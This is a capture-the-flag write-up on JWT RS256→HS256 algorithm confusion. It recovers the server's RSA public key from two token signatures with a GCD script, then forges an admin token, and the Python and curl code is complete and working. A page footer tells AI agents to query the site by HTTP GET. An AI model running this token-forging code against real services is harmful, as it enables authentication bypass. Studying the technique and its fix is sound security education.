# SWAG — Hackअस्त्र 2026

### Overview

This challenge is a classic **JWT Algorithm Confusion** attack, specifically the RS256 → HS256 confusion variant. It's a real-world vulnerability class that has appeared in production APIs and is well-documented in the JWT security community.

The core idea: the server signs tokens with an RSA private key (RS256), but its verification code naively accepts whatever algorithm is declared in the JWT header. If we switch the algorithm to HS256 and sign with the RSA *public* key as the HMAC secret, the server verifies it successfully — because it uses the same key for both modes.

The twist in this challenge: the public key isn't given to us. We have to *recover it* from two JWT signatures using modular arithmetic and the GCD.

<figure><img src="/files/dBBita9rapuHvBpunRRM" alt=""><figcaption></figcaption></figure>

### Understanding JWT Structure

Before diving in, a quick primer. Every JWT is three base64url-encoded chunks joined by dots:

```
header.payload.signature
```

For our tokens, the header decoded to `{"typ":"JWT","alg":"RS256"}` and the payload to `{"username":"l1nuxkid","role":"user"}`. The `role` field is what we need to change to `admin`  but we can't just edit the payload, because the signature would no longer be valid.

In RS256, the server signs with its private key and verifies with its public key. We don't have the private key, so we can't produce a valid RS256 signature. But if we can get the server to use HS256 verification and we know what it uses as the HMAC secret we can forge anything we want.

### Attack Chain

<figure><img src="/files/QEloTkX6Ntphkec69Hma" alt=""><figcaption></figcaption></figure>

### Step 1 Swagger Recon

The challenge name and description ("Our team is very proud of their Swagger docs") is a direct hint. Navigate to `/swagger` or `/api-docs` on the target to find the full API documentation exposed. Swagger (OpenAPI) docs list every endpoint, their parameters, and expected responses a complete attack surface map handed to us for free.

From the docs we identified the key endpoints: `/api/register`, `/api/login`, `/api/profile`, and `/api/flag`.

<figure><img src="/files/rG7BswlVre8KwRqwvEhu" alt=""><figcaption></figcaption></figure>

### Step 2 Register, Login, Confirm the Wall

Register a user and grab a JWT:

```bash
curl -s http://challenges.ctf.hackastra.tech:32729/api/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"l1nuxkid","password":"l1nuxkid"}'

curl -s http://challenges.ctf.hackastra.tech:32729/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"l1nuxkid","password":"l1nuxkid"}'
```

<figure><img src="/files/vBKyWivW8DOwvePux8zk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mCqVSBtK4eMaDJlEs1Tg" alt=""><figcaption></figcaption></figure>

This returns a JWT. Hitting `/api/profile` confirms:

```json
{"greeting":"Hello, l1nuxkid!","role":"user"}
```

And as expected, `/api/flag` returns:

```json
{"error":"Admins only"}
```

We need `"role":"admin"` in the token payload. Time to forge one.

### Step 3 Collect Two RS256 Tokens

Register a second user and collect both their JWTs. We need exactly two distinct tokens to run the GCD-based key recovery in the next step.

```bash
curl -s http://challenges.ctf.hackastra.tech:32729/api/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser2","password":"testpass"}'

curl -s http://challenges.ctf.hackastra.tech:32729/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser2","password":"testpass"}'
```

Save both JWTs. You can decode the middle chunk (payload) in Python to confirm what's inside:

```python
import base64, json

token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImwxbnV4a2lkIiwicm9sZSI6InVzZXIifQ...."
payload_b64 = token.split('.')[1]
padding = '=' * (4 - len(payload_b64) % 4)
print(json.loads(base64.b64decode(payload_b64 + padding)))
# {'username': 'l1nuxkid', 'role': 'user'}
```

### Step 4 Recover the RSA Public Key

This is the math-heavy heart of the attack (THANKS TO AI). Here's the intuition:

In RSA, a signature is computed as:

```
sig = msg^d mod n
```

Which means:

```
sig^e = msg mod n
```

Or rearranged:

```
sig^e - msg ≡ 0 (mod n)
```

If we have two signatures from the same server (same `n`), both `(sig1^e - msg1)` and `(sig2^e - msg2)` are multiples of `n`. Their GCD will be `n` itself (or a small multiple we can factor out).

```python
import math, base64, hashlib
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization

e = 65537

def b64url_to_int(s):
    padding = '=' * (4 - len(s) % 4)
    return int.from_bytes(base64.urlsafe_b64decode(s + padding), 'big')

def pkcs1_pad(msg_bytes, bit_length):
    n_bytes = bit_length // 8
    digest = hashlib.sha256(msg_bytes).digest()
    T = b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20' + digest
    PS = b'\xff' * (n_bytes - len(T) - 3)
    return int.from_bytes(b'\x00\x01' + PS + b'\x00' + T, 'big')

token1 = "TOKEN_ONE_HERE"
token2 = "TOKEN_TWO_HERE"

def parse_token(token):
    parts = token.split('.')
    sig = b64url_to_int(parts[2])
    msg = (parts[0] + '.' + parts[1]).encode()
    return sig, msg

sig1, msg1 = parse_token(token1)
sig2, msg2 = parse_token(token2)

m1 = pkcs1_pad(msg1, 2048)
m2 = pkcs1_pad(msg2, 2048)

n_candidate = math.gcd(pow(sig1, e) - m1, pow(sig2, e) - m2)

# n_candidate may be a multiple of n — factor out small primes
for p in [2, 3, 5, 7, 11, 13]:
    while n_candidate % p == 0:
        n_candidate //= p

n = n_candidate
print(f"Recovered n ({n.bit_length()} bits)")

pub = RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
```

This prints the RSA public key PEM  the same key the server uses to verify tokens.

#### Step 5 Forge the Admin Token (RS256 → HS256 Confusion)

Now the exploitation. We craft a new JWT with `"alg":"HS256"` in the header and `"role":"admin"` in the payload, then sign it using HMAC-SHA256 with the PEM-encoded public key as the secret.

The server's vulnerable verification logic looks roughly like this:

```javascript
function verifyToken(token) {
  const header = parseHeader(token);
  if (header.alg === 'HS256') {
    return verifyHMAC(token, publicKey);  // public key used as HMAC secret!
  } else {
    return verifyRSA(token, publicKey);
  }
}
```

When we send an HS256 token, the server calls `verifyHMAC(token, publicKey)`. Since we signed it with that same public key, the HMAC matches perfectly.

```python
import hmac, hashlib

with open('public_key.pem', 'rb') as f:
    pub_key_bytes = f.read()

header = base64.urlsafe_b64encode(b'{"typ":"JWT","alg":"HS256"}').rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(b'{"username":"admin","role":"admin"}').rstrip(b'=').decode()

signing_input = f"{header}.{payload}".encode()
sig = hmac.new(pub_key_bytes, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()

forged_token = f"{header}.{payload}.{sig_b64}"
print(forged_token)
```

#### Step 6 Capture the Flag

bash

```bash
curl http://challenges.ctf.hackastra.tech:32729/api/flag \
  -H "Authorization: Bearer FORGED_TOKEN_HERE"
```

```
FLAG{...}
```

***

#### Vulnerability Summary

| Issue                                    | Impact                                   |
| ---------------------------------------- | ---------------------------------------- |
| Swagger docs publicly exposed            | Full API surface mapped without any auth |
| Server accepts both RS256 and HS256      | Algorithm confusion attack is possible   |
| No algorithm restriction on verification | Public key usable as HMAC secret         |
| Role claim trusted from JWT payload      | Admin access via forged `"role":"admin"` |

The fix is a single line restrict the allowed algorithms explicitly:

```javascript
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
```

With this in place, an HS256 token is rejected outright, regardless of how it was signed.

***

#### The Math in Plain English

Think of it like a nightclub bouncer with two ID systems:

* **RS256** (normal): The club has a master stamp (private key). Only they can create valid stamps. The bouncer checks stamps with a scanner (public key).
* **HS256** (the bug): Both the creator and the bouncer use the same secret password for HMAC. If the bouncer's "password" is just the public scanner key sitting on the desk — and we grab it — we can stamp our own fake IDs.

The GCD trick for recovering `n` is like reverse-engineering the stamp machine from two legitimate stamped IDs. Both IDs share the same machine (same `n`), so the GCD of their mathematical differences is the machine's fingerprint.

#### References

* [PortSwigger JWT algorithm confusion attacks](https://portswigger.net/web-security/jwt/algorithm-confusion)
* [jwt.io debugger](https://jwt.io)  for decoding tokens during recon
* [RFC 7519 — JSON Web Token](https://datatracker.ietf.org/doc/html/rfc7519)

<figure><img src="/files/lEryFKU9R6OxIk7TJdKL" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/swag-hack-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
